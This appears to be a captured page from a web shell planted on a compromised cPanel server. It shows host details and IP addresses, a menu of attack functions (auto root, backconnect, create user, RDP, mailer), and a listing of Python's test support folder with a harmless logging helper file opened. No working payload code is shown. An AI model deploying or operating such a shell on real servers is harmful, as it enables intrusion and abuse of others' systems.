Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 108.162.241.240
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3.10 /
test /
support /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
69.69
KB
-rw-r--r--
bytecode_helper.py
1.61
KB
-rw-r--r--
hashlib_helper.py
1.86
KB
-rw-r--r--
import_helper.py
7.55
KB
-rw-r--r--
interpreters.py
5.69
KB
-rw-r--r--
logging_helper.py
916
B
-rw-r--r--
os_helper.py
19.5
KB
-rw-r--r--
script_helper.py
11.14
KB
-rw-r--r--
socket_helper.py
11.21
KB
-rw-r--r--
testresult.py
5.86
KB
-rw-r--r--
threading_helper.py
6.49
KB
-rw-r--r--
warnings_helper.py
6.44
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : logging_helper.py
import logging.handlers class TestHandler(logging.handlers.BufferingHandler): def __init__(self, matcher): # BufferingHandler takes a "capacity" argument # so as to know when to flush. As we're overriding # shouldFlush anyway, we can set a capacity of zero. # You can call flush() manually to clear out the # buffer. logging.handlers.BufferingHandler.__init__(self, 0) self.matcher = matcher def shouldFlush(self): return False def emit(self, record): self.format(record) self.buffer.append(record.__dict__) def matches(self, **kwargs): """ Look for a saved dict whose keys/values match the supplied arguments. """ result = False for d in self.buffer: if self.matcher.matches(d, **kwargs): result = True break return result
Close